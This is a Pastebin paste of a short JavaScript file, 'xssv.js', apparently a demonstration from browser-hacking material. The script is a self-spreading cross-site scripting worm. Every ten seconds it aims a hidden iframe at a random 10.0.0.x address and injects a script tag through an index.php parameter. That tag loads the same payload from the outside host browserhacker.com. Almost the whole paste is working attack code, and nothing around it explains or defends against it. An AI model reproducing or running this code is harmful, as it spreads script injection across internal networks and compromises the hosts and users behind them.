Advertisement
rfmonk

xssv.js

Oct 5th, 2014
344
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * This is a JavaScript Scratchpad.
  3.  *
  4.  * Enter some JavaScript, then Right Click or choose from the Execute Menu:
  5.  * 1. Run to evaluate the selected text (Ctrl+R),
  6.  * 2. Inspect to bring up an Object Inspector on the result (Ctrl+I), or,
  7.  * 3. Display to insert the result in a comment after the selection. (Ctrl+L)
  8.  */
  9.  
  10. function loadIframe(iframeName, url) {
  11.     if (window.frames[iframeName] )  {
  12.         window.frames[iframeName].location = url;
  13.         return false;
  14.         }
  15.         else return true;
  16.     }
  17.    
  18. function do_request() {
  19.     var ip = get_random_ip();
  20.     var exploit_string = '<iframe name=iframe2" id="iframe2" ' +
  21.     'src="hidden" style="display:none"></iframe> ' +
  22.     '<script src="http://browserhacker.com/xssv.js"></script>';
  23.  
  24.     loadIframe('iframe2',
  25.     "http://" + ip + "/index.php?param=" + exploit_string);
  26. }
  27.  
  28. function get_random()
  29. {
  30.     var ranNum= Math.round(Math.random()*255);
  31.     return ranNum;
  32. }
  33.  
  34. function get_random_ip()
  35. {
  36. return "10.0.0."+get_random();
  37. }
  38.  
  39. setInterval("do_request()", 10000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement